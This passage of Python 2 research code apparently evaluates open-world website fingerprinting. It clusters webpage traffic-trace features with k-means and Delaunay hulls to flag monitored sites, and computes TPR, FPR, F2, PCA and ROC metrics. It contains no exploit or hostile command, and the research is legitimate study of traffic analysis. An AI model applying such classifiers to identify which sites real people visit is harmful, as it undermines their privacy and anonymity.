# Y_testing.append(line.split(",")[-1])
#print "X_testing length: " + str(len(X_testing))
#print "Y_testing length: " + str(len(Y_testing))
#print instancesList
X = np.array(trainingInstancesList)
#X = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#print X
# preprocessing, normalizing
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
#X_testing = (X_testing - np.mean(X_testing, 0)) / np.std(X_testing, 0) # scale data before CPA
km = KMeans(n_clusters=numClusters, init='k-means++', max_iter=100, n_init=1,
verbose=0)
km.fit(X) # building the clusters from the monitored instances only
#print km.cluster_centers_[0]
#print km.labels_
# indexes of point in a specific cluster
#index = [x[0] for x, value in np.ndenumerate(km.labels_) if value==0] # value==cluster number
#print index
# get radius of each cluster
radius = [0]*len(km.cluster_centers_) # initialize the radius list to zeros
hull = []
#print radius
for clusIndx in range(len(km.cluster_centers_)):
# indexes of points in a specific cluster
pointsIndex = [x[0] for x, value in np.ndenumerate(km.labels_) if value==clusIndx]
clusterPoints = list(X[pointsIndex]) # Access multiple elements of list (here X) knowing their index
hull.append(Delaunay(clusterPoints))
#X_testing = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#Y_testing = np.array([0,
# 0,
# 0,
# 1,
# 1,
# 1])
#monClasses = [0,1]
tp = 0
fp = 0
tn = 0
fn = 0
inside = False
for i in range(len(X_testing)):
inside = False
for hullIndx in range(len(hull)):
if Utils.in_hull(X_testing[i],hull[hullIndx]): # returns true if point is inside hull
inside = True
if inside:
if monClasses.__contains__(Y_testing[i]):
tp += 1
else:
fp += 1
else:
if monClasses.__contains__(Y_testing[i]):
fn += 1
else:
tn += 1
print "\n"
print "radii: "
print radius
print "NumMonitored: " + str(numMonitored)
print "NumClusters: " + str(numClusters)
print "dataset: " + str(files)
print "tp = " + str(tp)
print "tn = " + str(tn)
print "fp = " + str(fp)
print "fn = " + str(fn)
tpr = str( "%.2f" % (float(tp)/float(tp+fn)) )
fpr = str( "%.2f" % (float(fp)/float(fp+tn) ))
Acc = str( "%.2f" % (float(tp+tn)/float(tp+tn+fp+fn) ))
F2 = str( "%.2f" % (float(5*tp)/float((5*tp)+(4*fn)+(fp)) )) # beta = 2
print "tpr = " + tpr
print "fpr = " + fpr
print "Acc = " + Acc
print "F2 = " + F2
output = []
output.append(tpr)
output.append(fpr)
output.append(Acc)
output.append(F2)
output.append(str(tp))
output.append(str(tn))
output.append(str(fp))
output.append(str(fn))
output.append(description)
output.append(numClusters)
summary = '\t, '.join(itertools.imap(str, output))
outputFilename = Utils.getOutputFileNameOW(files[0])
f = open( outputFilename+'.output', 'a' )
f.write( "\n"+summary )
f.close()
print ''
@staticmethod
def calcKmeansCvxHullDelaunay_Mixed(files, numMonitored, numClusters, description):
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
trainingInstancesList = []
monClasses = []
unmonClasses = []
X_testing=[]
Y_testing=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
monClasses = line.split(" ")[2].split("{")[1].split("}")[0].split(",")
else:
#instancesList.append(float(line.split(",")[:-1]))
trainingInstancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
currY = line.split(",")[-1]
if monClasses.__contains__(currY): # add all testing monitored instances
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(line.split(",")[-1])
else: # nonMonitored instance
if not unmonClasses.__contains__(currY): # add one instance only from unmonitored classes
unmonClasses.append(currY)
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(currY)
#if line[0] != '@':
# X_testing.append([float(i) for i in line.split(",")[:-1]])
# Y_testing.append(line.split(",")[-1])
#print "X_testing length: " + str(len(X_testing))
#print "Y_testing length: " + str(len(Y_testing))
#print instancesList
X = np.array(trainingInstancesList)
#X = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#print X
# preprocessing, normalizing
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before PCA
#X_testing = (X_testing - np.mean(X_testing, 0)) / np.std(X_testing, 0) # scale data before PCA
km = KMeans(n_clusters=numClusters, init='k-means++', max_iter=100, n_init=1,
verbose=0)
km.fit(X) # building the clusters from the monitored instances only
#print km.cluster_centers_[0]
#print km.labels_
# indexes of point in a specific cluster
#index = [x[0] for x, value in np.ndenumerate(km.labels_) if value==0] # value==cluster number
#print index
# get radius of each cluster
radius = [0]*len(km.cluster_centers_) # initialize the radius list to zeros
for clusIndx in range(len(km.cluster_centers_)):
# indexes of points in a specific cluster
pointsIndex = [x[0] for x, value in np.ndenumerate(km.labels_) if value==clusIndx]
maxDist = -1
for i in pointsIndex:
# Euclidean distance
currDist = np.linalg.norm(X[i] - km.cluster_centers_[clusIndx])
if currDist > maxDist:
radius[clusIndx] = currDist
#maxDist = currDist
maxDist = currDist
hull = []
fewPointsClusters = [] # indexes of clusters where there are < 12 points (convex hull needs 12 points)
#print radius
#http://docs.scipy.org/doc/scipy-0.16.0/reference/generated/scipy.spatial.Delaunay.html
for clusIndx in range(len(km.cluster_centers_)):
# indexes of points in a specific cluster
pointsIndex = [x[0] for x, value in np.ndenumerate(km.labels_) if value==clusIndx]
clusterPoints = list(X[pointsIndex]) # Access multiple elements of list (here X) knowing their index
if len(clusterPoints) >= 12:
try:
hull.append(Delaunay(clusterPoints))#,qhull_options="C-0"))
except:
print "Convex Hull ERROR"
description += "Convex Hull ERROR"
print " Cluster # " + str(clusIndx) + " -- Convex Hull ERROR. Kmeans cluster is to be checked for the participating points."
fewPointsClusters.append(clusIndx)
pass
else:
print " Cluster # " + str(clusIndx) + " doesn't have enough points to build a hull. Kmeans cluster is to be checked for the participating points."
fewPointsClusters.append(clusIndx)
#X_testing = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#Y_testing = np.array([0,
# 0,
# 0,
# 1,
# 1,
# 1])
#monClasses = [0,1]
tp = 0
fp = 0
tn = 0
fn = 0
inside = False
#looping over mixed (hulls + not-enough-point clusters)
for i in range(len(X_testing)):
inside = False
# looping over hulls
for hullIndx in range(len(hull)):
if Utils.in_hull(X_testing[i],hull[hullIndx]): # returns true if point is inside hull
inside = True
# looping over not-enough-point clusters
for clusIndx in range(len(km.cluster_centers_)):
if fewPointsClusters.__contains__(clusIndx):
#print " Cluster # " + str(clusIndx) + " is being examined."
dist = np.linalg.norm(X_testing[i] - km.cluster_centers_[clusIndx])
if dist <= radius[clusIndx]: #/1.5:#/2.0:
inside = True
if inside:
if monClasses.__contains__(Y_testing[i]):
tp += 1
else:
fp += 1
else:
if monClasses.__contains__(Y_testing[i]):
fn += 1
else:
tn += 1
print "\n"
print "radii: "
print radius
print "NumMonitored: " + str(numMonitored)
print "NumClusters: " + str(numClusters)
print "dataset: " + str(files)
print "tp = " + str(tp)
print "tn = " + str(tn)
print "fp = " + str(fp)
print "fn = " + str(fn)
tpr = str( "%.2f" % (float(tp)/float(tp+fn)) )
fpr = str( "%.2f" % (float(fp)/float(fp+tn) ))
Acc = str( "%.2f" % (float(tp+tn)/float(tp+tn+fp+fn) ))
F2 = str( "%.2f" % (float(5*tp)/float((5*tp)+(4*fn)+(fp)) )) # beta = 2
print "tpr = " + tpr
print "fpr = " + fpr
print "Acc = " + Acc
print "F2 = " + F2
output = []
output.append(tpr)
output.append(fpr)
output.append(Acc)
output.append(F2)
output.append(str(tp))
output.append(str(tn))
output.append(str(fp))
output.append(str(fn))
output.append(description)
output.append(numClusters)
output.append(config.RUN_ID)
summary = '\t, '.join(itertools.imap(str, output))
outputFilename = Utils.getOutputFileNameOW(files[0])
f = open( outputFilename+'.output', 'a' )
f.write( "\n"+summary )
f.close()
print ''
@staticmethod
def calcKmeansCvxHullDelaunay_Mixed_KNN(files, numMonitored, numClusters, description, threshold):
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
trainingInstancesList = []
monClasses = []
unmonClasses = []
X_testing=[]
Y_testing=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
monClasses = line.split(" ")[2].split("{")[1].split("}")[0].split(",")
else:
#instancesList.append(float(line.split(",")[:-1]))
trainingInstancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
currY = line.split(",")[-1]
if monClasses.__contains__(currY): # add all testing monitored instances
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(line.split(",")[-1])
else: # nonMonitored instance
if not unmonClasses.__contains__(currY): # add one instance only from unmonitored classes
unmonClasses.append(currY)
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(currY)
#if line[0] != '@':
# X_testing.append([float(i) for i in line.split(",")[:-1]])
# Y_testing.append(line.split(",")[-1])
#print "X_testing length: " + str(len(X_testing))
#print "Y_testing length: " + str(len(Y_testing))
#print instancesList
X = np.array(trainingInstancesList)
#X = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#print X
# preprocessing, normalizing
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before PCA
#X_testing = (X_testing - np.mean(X_testing, 0)) / np.std(X_testing, 0) # scale data before PCA
km = KMeans(n_clusters=numClusters, init='k-means++', max_iter=100, n_init=1,
verbose=0)
km.fit(X) # building the clusters from the monitored instances only
#print km.cluster_centers_[0]
#print km.labels_
# indexes of point in a specific cluster
#index = [x[0] for x, value in np.ndenumerate(km.labels_) if value==0] # value==cluster number
#print index
# get radius of each cluster
radius = [0]*len(km.cluster_centers_) # initialize the radius list to zeros
for clusIndx in range(len(km.cluster_centers_)):
# indexes of points in a specific cluster
pointsIndex = [x[0] for x, value in np.ndenumerate(km.labels_) if value==clusIndx]
maxDist = -1
for i in pointsIndex:
# Euclidean distance
currDist = np.linalg.norm(X[i] - km.cluster_centers_[clusIndx])
if currDist > maxDist:
radius[clusIndx] = currDist
#maxDist = currDist
maxDist = currDist
hull = []
fewPointsClusters = [] # indexes of clusters where there are < 12 points (convex hull needs 12 points)
#print radius
#http://docs.scipy.org/doc/scipy-0.16.0/reference/generated/scipy.spatial.Delaunay.html
for clusIndx in range(len(km.cluster_centers_)):
# indexes of points in a specific cluster
pointsIndex = [x[0] for x, value in np.ndenumerate(km.labels_) if value==clusIndx]
clusterPoints = list(X[pointsIndex]) # Access multiple elements of list (here X) knowing their index
if len(clusterPoints) >= 12:
try:
hull.append(Delaunay(clusterPoints))#,qhull_options="C-0"))
except:
print "Convex Hull ERROR"
description += " Convex Hull ERROR"
print " Cluster # " + str(clusIndx) + " -- Convex Hull ERROR. Kmeans cluster is to be checked for the participating points."
fewPointsClusters.append(clusIndx)
pass
else:
print " Cluster # " + str(clusIndx) + " doesn't have enough points to build a hull. Kmeans cluster is to be checked for the participating points."
fewPointsClusters.append(clusIndx)
#X_testing = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#Y_testing = np.array([0,
# 0,
# 0,
# 1,
# 1,
# 1])
#monClasses = [0,1]
tp = 0
fp = 0
tn = 0
fn = 0
inside = False
#looping over mixed (hulls + not-enough-point clusters)
for i in range(len(X_testing)):
inside = False
# looping over hulls
for hullIndx in range(len(hull)):
if inside != True and Utils.in_hull(X_testing[i],hull[hullIndx]): # returns true if point is inside hull
inside = True
# KNN
if inside != True and Utils.is_knn_to_hull_border_points(X, X_testing[i],hull[hullIndx],threshold):
inside = True
# looping over not-enough-point clusters
if inside != True:
for clusIndx in range(len(km.cluster_centers_)):
if fewPointsClusters.__contains__(clusIndx):
#print " Cluster # " + str(clusIndx) + " is being examined."
dist = np.linalg.norm(X_testing[i] - km.cluster_centers_[clusIndx])
if dist <= radius[clusIndx]: #/1.5:#/2.0:
inside = True
if inside:
if monClasses.__contains__(Y_testing[i]):
tp += 1
else:
fp += 1
else:
if monClasses.__contains__(Y_testing[i]):
fn += 1
else:
tn += 1
print "\n"
print "radii: "
print radius
print "NumMonitored: " + str(numMonitored)
print "NumClusters: " + str(numClusters)
print "dataset: " + str(files)
print "tp = " + str(tp)
print "tn = " + str(tn)
print "fp = " + str(fp)
print "fn = " + str(fn)
tpr = str( "%.2f" % (float(tp)/float(tp+fn)) )
fpr = str( "%.2f" % (float(fp)/float(fp+tn) ))
Acc = str( "%.2f" % (float(tp+tn)/float(tp+tn+fp+fn) ))
F2 = str( "%.2f" % (float(5*tp)/float((5*tp)+(4*fn)+(fp)) )) # beta = 2
print "tpr = " + tpr
print "fpr = " + fpr
print "Acc = " + Acc
print "F2 = " + F2
output = []
output.append(tpr)
output.append(fpr)
output.append(Acc)
output.append(F2)
output.append(str(tp))
output.append(str(tn))
output.append(str(fp))
output.append(str(fn))
output.append(description)
output.append(numClusters)
output.append(config.RUN_ID)
summary = '\t, '.join(itertools.imap(str, output))
outputFilename = Utils.getOutputFileNameOW(files[0])
f = open( outputFilename+'.output', 'a' )
f.write( "\n"+summary )
f.close()
print ''
@staticmethod
def calcKmeansCvxHullDelaunay_Testing(files, numMonitored):
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
trainingInstancesList = []
monClasses = []
X_testing=[]
Y_testing=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
monClasses = line.split(" ")[2].split("{")[1].split("}")[0].split(",")
else:
#instancesList.append(float(line.split(",")[:-1]))
trainingInstancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
for line in testList:
if line[0] != '@':
X_testing.append([float(i) for i in line.split(",")[:-1]])
Y_testing.append(line.split(",")[-1])
#print instancesList
#X = np.array(trainingInstancesList)
X = np.random.rand(30, 2)
#X = np.array([[1, 2],
# [5, 8],
# [1.5, 1.8],
# [8, 8],
# [1, 0.6],
# [9, 11]])
#print X
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
km = KMeans(n_clusters=numMonitored, init='k-means++', max_iter=100, n_init=1,
verbose=0)
km.fit(X) # building the clusters from the monitored instances only
#print km.cluster_centers_[0]
#print km.labels_
# indexes of point in a specific cluster
#index = [x[0] for x, value in np.ndenumerate(km.labels_) if value==0] # value==cluster number
#print index
# get radius of each cluster
radius = [0]*len(km.cluster_centers_) # initialize the radius list to zeros
hull = []
#print radius
for clusIndx in range(len(km.cluster_centers_)):
# indexes of points in a specific cluster
pointsIndex = [x[0] for x, value in np.ndenumerate(km.labels_) if value==clusIndx]
clusterPoints = list(X[pointsIndex]) # Access multiple elements of list (here X) knowing their index
hull.append(Delaunay(clusterPoints))
X_testing = np.random.rand(30, 2)
Y_testing = np.random.rand(30, 1)
#monClasses = [0,1]
tp = 0
fp = 0
tn = 0
fn = 0
inside = False
for i in range(len(X_testing)):
inside = False
for hullIndx in range(len(hull)):
if Utils.in_hull(X_testing[i],hull[hullIndx]): # returns true if point is inside hull
inside = True
if inside:
if monClasses.__contains__(Y_testing[i]):
tp += 1
else:
fp += 1
else:
if monClasses.__contains__(Y_testing[i]):
fn += 1
else:
tn += 1
print "\n\n"
print "radii: "
print radius
print "NumMonitored: " + str(numMonitored)
print "dataset: " + str(files)
print "tp = " + str(tp)
print "tn = " + str(tn)
print "fp = " + str(fp)
print "fn = " + str(fn)
print "tpr = " + str( float(tp)/float(tp+fn) )
print "fpr = " + str( float(fp)/float(fp+tn) )
print "Acc = " + str( float(tp+tn)/float(tp+tn+fp+fn) )
print "F2 = " + str( float(5*tp)/float((5*tp)+(4*fn)+(fp)) ) # beta = 2
@staticmethod
def calcWeightsLogisticRegressionTest():
boston = load_boston()
X, y = boston['data'], boston['target']
#print 'X'
#print X
#print '\n'
#print 'y'
#print y
#
X = X[0:20,0:5]
y = y[0:20]
y = np.array(y).astype(np.int)
#
print 'X'
print X
print '\n'
print 'y'
print y
# We use the base estimator LassoCV since the L1 norm promotes sparsity of features.
clf = LogisticRegression(penalty='l2',max_iter=1000,solver='newton-cg') # solver : {'newton-cg', 'lbfgs', 'liblinear', 'sag'}
#clf = LogisticRegression()
#clf = LassoCV(max_iter=1000)
# Set a minimum threshold of 0.25
#sfm = SelectFromModel(clf, threshold=0.25)
#sfm = SelectFromModel(clf, threshold=0)
clf.fit(X, y)
print "Weights (coef)"
print clf.coef_
print clf.__dict__
print "\n"
@staticmethod
def calcPCA_ow(files):
trainList = Utils.readFile1(files[0])
testList = Utils.readFile1(files[1])
instancesListTrain = []
instancesListTest = []
classesTrain = ""
classesTest = ""
yTrain=[]
yTest=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classesTrain = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesListTrain.append([float(i) for i in line.split(",")[:-1]])
yTrain.append(line.split(",")[-1])
for line in testList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classesTest = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesListTest.append([float(i) for i in line.split(",")[:-1]])
yTest.append(line.split(",")[-1])
#if line[0] != '@':
# instancesListTest.append([float(i) for i in line.split(",")[:-1]])
# yTest.append(line.split(",")[-1])
#print instancesList
XTrain = np.array(instancesListTrain)
XTest = np.array(instancesListTest)
#print X
#X = (X - np.mean(X, 0)) / np.std(X, 0) # scale data before CPA
#preprocessing.scale(XTrain, axis=0, with_mean=True, with_std=True, copy=False)
#preprocessing.scale(XTest, axis=0, with_mean=True, with_std=True, copy=False)
#print X
#config.n_components_PCA = 39
pca = PCA(n_components=config.n_components_PCA)
#sklearn_transf = pca.fit(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
sklearn_transf = pca.fit(XTrain)
#X_transformed = sklearn_transf.transform(X[0:config.BUCKET_SIZE * config.NUM_TRAINING_TRACES])
XTrain_transformed = sklearn_transf.transform(XTrain)
XTest_transformed = sklearn_transf.transform(XTest)
#print X_transformed[0:1,0:5]
#print "EigVec", sklearn_transf.components_[0]
#print sklearn_transf
#print pca.explained_variance_
#print pca.explained_variance_ratio_
print ('\nPCA explained variance (first %d components): %.2f'%(config.n_components_PCA, sum(pca.explained_variance_ratio_)))
newTrainList = []
newTestList = []
newTrainList.append('@RELATION sites')
newTestList.append('@RELATION sites')
for i in range(0,config.n_components_PCA):
newTrainList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTestList.append('@ATTRIBUTE k'+ str(i+1) +' real')
newTrainList.append('@ATTRIBUTE class '+classesTrain)
newTestList.append('@ATTRIBUTE class '+classesTest)
newTrainList.append('@DATA')
newTestList.append('@DATA')
ctr = 0
#for item in X_lda_sklearn:
for i in xrange(len(XTrain_transformed)):
webpageInstance = XTrain_transformed[i]
newTrainList.append(','.join([str("%.2f" % k) for k in webpageInstance]) + ',' + yTrain[i])
for i in xrange(len(XTest_transformed)):
webpageInstance = XTest_transformed[i]
newTestList.append(','.join([str("%.2f" % k) for k in webpageInstance]) + ',' + yTest[i])
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_PCA_'+str(config.n_components_PCA)+'.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_PCA_'+str(config.n_components_PCA)+'.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
@staticmethod
def calcCvxHull(points):
from scipy.spatial import ConvexHull
#points = np.random.rand(30, 2) # 30 random points in 2-D
hull = ConvexHull(points)
import matplotlib.pyplot as plt
plt.plot(points[:,0], points[:,1], 'o')
for simplex in hull.simplices:
plt.plot(points[simplex, 0], points[simplex, 1], 'k-')
plt.plot(points[hull.vertices,0], points[hull.vertices,1], 'r--', lw=2)
plt.plot(points[hull.vertices[0],0], points[hull.vertices[0],1], 'ro')
plt.show()
@staticmethod
def calcCvxHull_Delaunay(points):
from scipy.spatial import Delaunay
#points = np.random.rand(30, 2) # 30 random points in 2-D
hull = Delaunay(points)
import matplotlib.pyplot as plt
plt.plot(points[:,0], points[:,1], 'o')
for simplex in hull.simplices:
plt.plot(points[simplex, 0], points[simplex, 1], 'k-')
plt.plot(points[hull.vertices,0], points[hull.vertices,1], 'r--', lw=2)
plt.plot(points[hull.vertices[0],0], points[hull.vertices[0],1], 'ro')
plt.show()
@staticmethod
def in_hull(p, hull):
"""
Test if points in `p` are in `hull`
`p` should be a `NxK` coordinates of `N` points in `K` dimensions
`hull` is either a scipy.spatial.Delaunay object or the `MxK` array of the
coordinates of `M` points in `K`dimensions for which Delaunay triangulation
will be computed
"""
from scipy.spatial import Delaunay
if not isinstance(hull,Delaunay):
hull = Delaunay(hull)
return hull.find_simplex(p)>=0
@staticmethod
def is_knn_to_hull_border_points(X, p, hull, threshold):
"""
Test if points in `p` are in `hull`
`p` should be a `NxK` coordinates of `N` points in `K` dimensions
`hull` is either a scipy.spatial.Delaunay object or the `MxK` array of the
coordinates of `M` points in `K`dimensions for which Delaunay triangulation
will be computed
"""
from scipy.spatial import Delaunay
if not isinstance(hull,Delaunay):
hull = Delaunay(hull)
# gather indecies from the convex_hull function
border_points_indecies = []
for item in hull.convex_hull:
for index in item:
#print index
if not border_points_indecies.__contains__(index):
border_points_indecies.append(index)
temp_dist_list = []
for i in border_points_indecies: #.simplices: # simplex is the border points index
#print X[i]
dist = np.linalg.norm(p - X[i])
#print dist
temp_dist_list.append(dist)
if dist <= threshold:
print "returning true KNN for dist: " + str(dist)
return True
#print "avg of dist: "
#print reduce(lambda x, y: x + y, temp_dist_list) / len(temp_dist_list)
#print "sorted dist list: "
#print sorted(temp_dist_list)
return False
@staticmethod
def plotCvxHull_Delaunay(points,hull):
from scipy.spatial import Delaunay
#points = np.random.rand(30, 2) # 30 random points in 2-D
if not isinstance(hull,Delaunay):
hull = Delaunay(hull)
import matplotlib.pyplot as plt
plt.plot(points[:,0], points[:,1], 'o')
for simplex in hull.simplices:
plt.plot(points[simplex, 0], points[simplex, 1], 'k-')
plt.plot(points[hull.vertices,0], points[hull.vertices,1], 'r--', lw=2)
plt.plot(points[hull.vertices[0],0], points[hull.vertices[0],1], 'ro')
plt.show()
@staticmethod
def plotKmeans(points,centroid):
pass
@staticmethod
def getOutputFileNameOW(arffFileName):
# arffFileName
# datafile-openworld5.i2vt8sjxk300.c0.d0.C3.N775.t40.T30.D1.E1.F1.G1.H1.I1.B16.J8.K300.L0.05.M100.A1.V0.P0.G0.l0.0.b600-train.arff
arffFileName = arffFileName.split("datafile-openworld")[1]
arffFileName = arffFileName.split("-train")[0]
# arffFileName
# 5.i2vt8sjxk300.c0.d0.C3.N775.t40.T30.D1.E1.F1.G1.H1.I1.B16.J8.K300.L0.05.M100.A1.V0.P0.G0.l0.0.b600-train.arff
numMonitored = arffFileName.split(".")[0] # 5
if len(numMonitored) == 1:
arffFileName = arffFileName[14:]
elif len(numMonitored) == 2:
arffFileName = arffFileName[15:]
else:
arffFileName = arffFileName[16:] # three or more
# arffFileName
# .c0.d0.C3.N775.t40.T30.D1.E1.F1.G1.H1.I1.B16.J8.K300.L0.05.M100.A1.V0.P0.G0.l0.0.b600-train.arff
#arffFileName = arffFileName[:-11]
# arffFileName
# .c0.d0.C3.N775.t40.T30.D1.E1.F1.G1.H1.I1.B16.J8.K300.L0.05.M100.A1.V0.P0.G0.l0.0.b600
outputFilename = 'resultsOW.m' + str(numMonitored) + arffFileName
outputFilename = os.path.join(config.OUTPUT_DIR,outputFilename)
if not os.path.exists(outputFilename+'.output'):
banner = ['tpr','fpr','Acc','F2','tp','tn','fp','fn','description','num Clusters / cvx Hulls','File ID']
f = open( outputFilename+'.output', 'w' )
f.write('\t, '.join(banner))
f.close()
return outputFilename
@staticmethod
def testDelaunay():
points = np.array([[0, 0], [0, 1.1], [1, 0], [1, 1]])
tri = Delaunay(points)
plt.triplot(points[:,0], points[:,1], tri.simplices.copy())
plt.plot(points[:,0], points[:,1], 'o')
plt.show()
print tri.simplices # [[3 2 0] [3 1 0]]
print tri.neighbors # [[-1 1 -1] [-1 0 -1]]
print tri.convex_hull # [[2 0]
# [3 2]
# [1 0]
# [3 1]]
points = np.array([[0, 0], [0, 1.1], [1, 0], [1, 1], [0.5, 0.5]])
tri = Delaunay(points)
plt.triplot(points[:,0], points[:,1], tri.simplices.copy())
plt.plot(points[:,0], points[:,1], 'o')
plt.show()
print tri.simplices # [[4 2 0]
# [4 1 0]
# [3 4 2]
# [3 4 1]]
print tri.neighbors # [[-1 1 2]
# [-1 0 3]
# [ 0 -1 3]
# [ 1 -1 2]]
print tri.convex_hull # [[2 0]
# [1 0]
# [3 2]
# [3 1]]
points = np.array([[0, 0], [0, 1.1], [1, 0], [1, 1], [0.5, 0.5], [0.25, 0.25]])
tri = Delaunay(points)
plt.triplot(points[:,0], points[:,1], tri.simplices.copy())
plt.plot(points[:,0], points[:,1], 'o')
plt.show()
print tri.simplices #
print tri.neighbors #
print tri.convex_hull # [[2 0]
# [1 0]
# [3 2]
# [3 1]]
points = np.array([[0, 0], [0, 1.1], [1, 0], [1, 1], [0.5, 0.5], [0.25, 0.25], [1.5, 0.5]])
tri = Delaunay(points)
plt.triplot(points[:,0], points[:,1], tri.simplices.copy())
plt.plot(points[:,0], points[:,1], 'o')
plt.show()
print tri.simplices #
print tri.neighbors #
print tri.convex_hull # [[2 0]
# [1 0]
# [3 2]
# [3 1]]
border_points_indecies = []
for item in tri.convex_hull:
for index in item:
print index
if not border_points_indecies.__contains__(index):
border_points_indecies.append(index)
print border_points_indecies
#pass
@staticmethod
def goodSample(webpageIds, traceIndexStart, traceIndexEnd, threshold, numPackets):
from Datastore import Datastore
badWebsites = {} # <website, count of bad traces>
for webpageId in webpageIds:
webpage = Datastore.getWebpagesLL( [webpageId], traceIndexStart, traceIndexEnd )
webpage = webpage[0]
for trace in webpage.getTraces():
#print "packet count:" + str(trace.getPacketCount())
#print "Webpage ID: " + str(trace.getId())
#print 'out'
#print trace.getPacketCount()
if trace.getPacketCount() < numPackets:
#print 'in'
#print trace.getPacketCount()
#print
#print "Webpage ID: " + str(trace.getId())
dataKey = str(trace.getId())
if not badWebsites.get( dataKey ):
badWebsites[dataKey] = 0
# keep the number of bad traces (packetCount<numPackets passed) for each website
badWebsites[dataKey] += 1
#return False
if Utils.isBadSample(badWebsites, threshold):
return False
return True
@staticmethod
def isBadSample(badWebsites, threshold):
#print "Bad websites:"
#print badWebsites
#print "\n"
isBad = False
for webKey, webValue in badWebsites.items():
if webValue > threshold:
config.BAD_WEBSITES.append(int(webKey))
isBad = True
return isBad
@staticmethod
def calcTPR_FPR(debugInfo, outputFilename, positive, negative):
tp = 0
tn = 0
fp = 0
fn = 0
for entry in debugInfo:
if entry[0] in positive: # actual is positive
if entry[1] in positive: # predicted is positive too
tp += 1
else: # predicted is negative
fn += 1
elif entry[0] in negative: # actual is negative
if entry[1] in positive: # predicted is positive
fp += 1
else: # predicted is negative too
tn += 1
tpr = str( "%.4f" % (float(tp)/float(tp+fn)) )
fpr = str( "%.4f" % (float(fp)/float(fp+tn) ))
Acc = str( "%.4f" % (float(tp+tn)/float(tp+tn+fp+fn) ))
F2 = str( "%.4f" % (float(5*tp)/float((5*tp)+(4*fn)+(fp)) )) # beta = 2
if not os.path.exists(outputFilename+'.binary'):
banner = ['tpr','fpr','Acc','F2','tp','tn','fp','fn','File ID']
f = open( outputFilename+'.binary', 'w' )
f.write('\t, '.join(banner))
f.close()
output = []
output.append(tpr)
output.append(fpr)
output.append(Acc)
output.append(F2)
output.append(str(tp))
output.append(str(tn))
output.append(str(fp))
output.append(str(fn))
output.append(config.RUN_ID)
summary = '\t, '.join(itertools.imap(str, output))
f = open( outputFilename+'.binary', 'a' )
f.write( "\n"+summary )
f.close()
@staticmethod
def drawROC_AUC(debugInfo, positive, negative):
actual = []
predictions = []
# binarize
for entry in debugInfo:
if entry[0] in positive:
actual.append(1)
else:
actual.append(0)
if entry[1] in positive:
predictions.append(1)
else:
predictions.append(0)
false_positive_rate, true_positive_rate, thresholds = roc_curve(actual, predictions)
roc_auc = auc(false_positive_rate, true_positive_rate)
plt.title('Receiver Operating Characteristic')
plt.plot(false_positive_rate, true_positive_rate, 'b',
label='AUC = %0.2f'% roc_auc)
plt.legend(loc='lower right')
plt.plot([0,1],[0,1],'r--')
plt.xlim([-0.1,1.2])
plt.ylim([-0.1,1.2])
plt.ylabel('True Positive Rate')
plt.xlabel('False Positive Rate')
plt.show()
# Joining two training and testing arff file into a single one
@staticmethod
def joinTrainingTestingFiles(trainFileName, testFileName):
trainFileLines = [line.strip() for line in open(trainFileName)]
testFileLines = [line.strip() for line in open(testFileName)]
headersList = []
instancesList = []
for line in testFileLines: # as classes has mon and nonMon, in case of open world
if line[0] == '@':
headersList.append(line)
for line in trainFileLines:
if line[0] != '@':
instancesList.append(line)
for line in testFileLines:
if line[0] != '@':
instancesList.append(line)
random.shuffle(instancesList)
random.shuffle(instancesList)
outputFile = trainFileName[:-11] + '.arff'
f = open( outputFile, 'w' )
f.write( "\n".join( headersList ) )
f.write( "\n" )
f.write( "\n".join( instancesList ) )
f.close()
return outputFile
@staticmethod
def plotDensity(files):
trainList = Utils.readFile(files[0])
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2].split("{")[1].split("}")[0].split(",")
#cmap = plt.get_cmap('gnuplot')
#colors = [cmap(i) for i in np.linspace(0, 1, len(classes))]
colors = ['r', 'b', 'g', 'k', 'm']
currWebsite = classes[0]
prevWebsite = currWebsite
iColor = 0
